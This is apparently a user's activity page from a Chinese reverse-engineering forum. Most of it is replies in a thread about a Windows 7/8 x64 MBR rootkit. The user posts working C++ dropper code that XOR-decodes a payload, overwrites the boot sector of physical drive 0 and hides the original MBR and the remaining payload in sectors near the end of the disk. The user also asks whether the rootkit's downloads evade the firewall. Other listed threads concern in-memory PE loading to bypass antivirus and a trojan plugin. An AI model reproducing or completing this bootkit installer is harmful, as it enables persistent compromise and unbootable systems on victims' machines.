|
|
|
|
|
[原创]发个win7 win8 x64 的MBR rookit 2年前写的。
非常感谢您的赐教! 有2个不明白的地方: 1.因为rootkit只写入了446字节,所以这里是不是也应该是446,而不是512? //写入MBR其他数据 PositionFileTable.QuadPart = pdg.DiskSize.QuadPart / 512; PositionFileTable.QuadPart -= 9; PositionFileTable.QuadPart *= 512; if (!SetFilePointerEx(hPhysicalDrive, PositionFileTable, NULL, FILE_BEGIN) == INVALID_SET_FILE_POINTER || !WriteFile(hPhysicalDrive, lpBuffer + 446, ((dwSize - 446) / 512 + 1) * 512, &NumberOfBytesRead, NULL))//WriteFile第三个参数必须是512的整数倍 2. 512-446=66字节 这66个字节是分区表吗? //////////////////////////////////////////// int _tmain() { //_asm{int 3} for (int i = 0; i < sizeof(aArray); i++) { //szArray[i] = ~ szArray[i]; // 取反 ~ aArray[i] = aArray[i] ^ 123; // 异或 ^ } DWORD dwSize; dwSize = sizeof(aArray); LPBYTE lpBuffer = new BYTE[dwSize]; memcpy(lpBuffer, aArray, dwSize); HANDLE hPhysicalDrive = CreateFile("\\\\.\\PHYSICALDRIVE0", GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, 0, NULL); if (hPhysicalDrive == INVALID_HANDLE_VALUE) { OutputDebugString("Open Drive0 Failed!"); delete lpBuffer; return 0; } BYTE BootSector[512];//原始MBR DWORD NumberOfBytesRead; if (SetFilePointer(hPhysicalDrive, 0, 0, FILE_BEGIN) == INVALID_SET_FILE_POINTER || !ReadFile(hPhysicalDrive, &BootSector, 512, &NumberOfBytesRead, NULL)) { OutputDebugString("读取原始MBR失败!"); delete lpBuffer; CloseHandle(hPhysicalDrive); return 0; } BYTE backBootSector[512]; memcpy(&backBootSector, &BootSector, 512); memcpy(&backBootSector, lpBuffer, 446); SetFilePointer(hPhysicalDrive, 0, 0, FILE_BEGIN);//读文件的时候会移动指针,所以要设置下 WriteFile(hPhysicalDrive, backBootSector, 512, &NumberOfBytesRead, NULL);//MBR感染446 DISK_GEOMETRY_EX pdg = { 0 }; DWORD junk = 0; // discard results DeviceIoControl(hPhysicalDrive, // device to be queried IOCTL_DISK_GET_DRIVE_GEOMETRY_EX, // operation to perform NULL, 0, // no input buffer &pdg, sizeof(pdg), // output buffer &junk, // # bytes returned (LPOVERLAPPED)NULL); // synchronous I/O //备份MBR LARGE_INTEGER PositionFileTable; PositionFileTable.QuadPart = pdg.DiskSize.QuadPart / 512; PositionFileTable.QuadPart -= 10; PositionFileTable.QuadPart *= 512; NumberOfBytesRead = 0; if (!SetFilePointerEx(hPhysicalDrive, PositionFileTable, NULL, FILE_BEGIN) == INVALID_SET_FILE_POINTER || !WriteFile(hPhysicalDrive, &BootSector, 512, &NumberOfBytesRead, NULL)) { OutputDebugString("备份原始MBR失败"); delete lpBuffer; CloseHandle(hPhysicalDrive); return 0; } //写入MBR其他数据 PositionFileTable.QuadPart = pdg.DiskSize.QuadPart / 512; PositionFileTable.QuadPart -= 9; PositionFileTable.QuadPart *= 512; if (!SetFilePointerEx(hPhysicalDrive, PositionFileTable, NULL, FILE_BEGIN) == INVALID_SET_FILE_POINTER || !WriteFile(hPhysicalDrive, lpBuffer + 446, ((dwSize - 446) / 512 + 1) * 512, &NumberOfBytesRead, NULL))//WriteFile第三个参数必须是512的整数倍 { OutputDebugString("Write Other Failed!"); delete lpBuffer; CloseHandle(hPhysicalDrive); return 0; } //备份MBR loader PositionFileTable.QuadPart = pdg.DiskSize.QuadPart / 512; PositionFileTable.QuadPart -= 11; PositionFileTable.QuadPart *= 512; if (!SetFilePointerEx(hPhysicalDrive, PositionFileTable, NULL, FILE_BEGIN) == INVALID_SET_FILE_POINTER || !WriteFile(hPhysicalDrive, backBootSector, 512, &NumberOfBytesRead, NULL))//WriteFile第三个参数必须是512的整数倍 { OutputDebugString("Write Other Failed!"); delete lpBuffer; CloseHandle(hPhysicalDrive); return 0; } delete lpBuffer; CloseHandle(hPhysicalDrive); return 1; } //////////////////////////////////////////// 遗憾的是,我这样写入之后虚拟机一直黑屏,进不去系统。 另外这个rootkit下载文件是否会被系统自带防火墙拦截? 这个程序需要管理员权限才能写入成功。 画了个示意图,不知道我的理解对不对,其他人有人成功吗? |
|
[原创]发个win7 win8 x64 的MBR rookit 2年前写的。
备份MBR,写入rootkit前512字节到MBR,后半部分写入其他扇区,都写入成功了。 结果虚拟姬又挂了。 原因不明。 求指教....... |
|
[原创]发个win7 win8 x64 的MBR rookit 2年前写的。
(误)汇编苦手,不是苦水 //////////////// 前512字节是写入成功了。虚拟姬让我玩坏了 = = 如何把原MBR备份到其他扇区,把rootkit的512字节之后的内容写到其他扇区呢?? 如果有类似的代码参考就太好了,非常感谢您的指点! 这是我的代码。 |
|
[原创]发个win7 win8 x64 的MBR rookit 2年前写的。
感谢分享! "F:\MBR rookit\JWasm211bw\jwasm.exe" "F:\MBR rookit\win7 x64\aa.asm" doslnk "F:\MBR rookit\win7 x64\aa.obj","F:\MBR rookit\win7 x64\aa.exe" 这种情况该如何是好? 汇编苦水~求助~ |
|
|
|
[原创]支持64位系统的XOR加密后内存加载PE绕过杀毒软件
哈哈哈,我的群都是玩cosplay的小姑娘们的群,和网游认识的朋友的群。 |
|
[原创]软件保护壳专题 - 代码替换引擎的构建
支持一下玩命哥~ |
|
|
|
|
|
|
|
[求助]一个超牛的插件哦!~
不知道到底是不是驱动级的,我朋友这么说的~~ 看这个东西确实挺牛的, 我问了几个高手都搞不定 所以才来看雪找高手研究的 我是想学习这个东西的原理和行为 何必一听说"木马"两个字就害怕呢? 我想这些东西对于高手们来说都是玩具一样的东西吧? |
|
|
|
[求助]一个超牛的插件哦!~
这么久都没人搞定啊?哎,郁闷了 |
操作理由
RANk
{{ user_info.golds == '' ? 0 : user_info.golds }}
雪币
{{ experience }}
课程经验
{{ score }}
学习收益
{{study_duration_fmt}}
学习时长
基本信息
荣誉称号:
{{ honorary_title }}
能力排名:
No.{{ rank_num }}
等 级:
LV{{ rank_lv-100 }}
活跃值:
在线值:
浏览人数:{{ visits }}
最近活跃:{{ last_active_time }}
注册时间:{{ user_info.create_date_jsonfmt }}
勋章
兑换勋章
证书
证书查询 >
能力值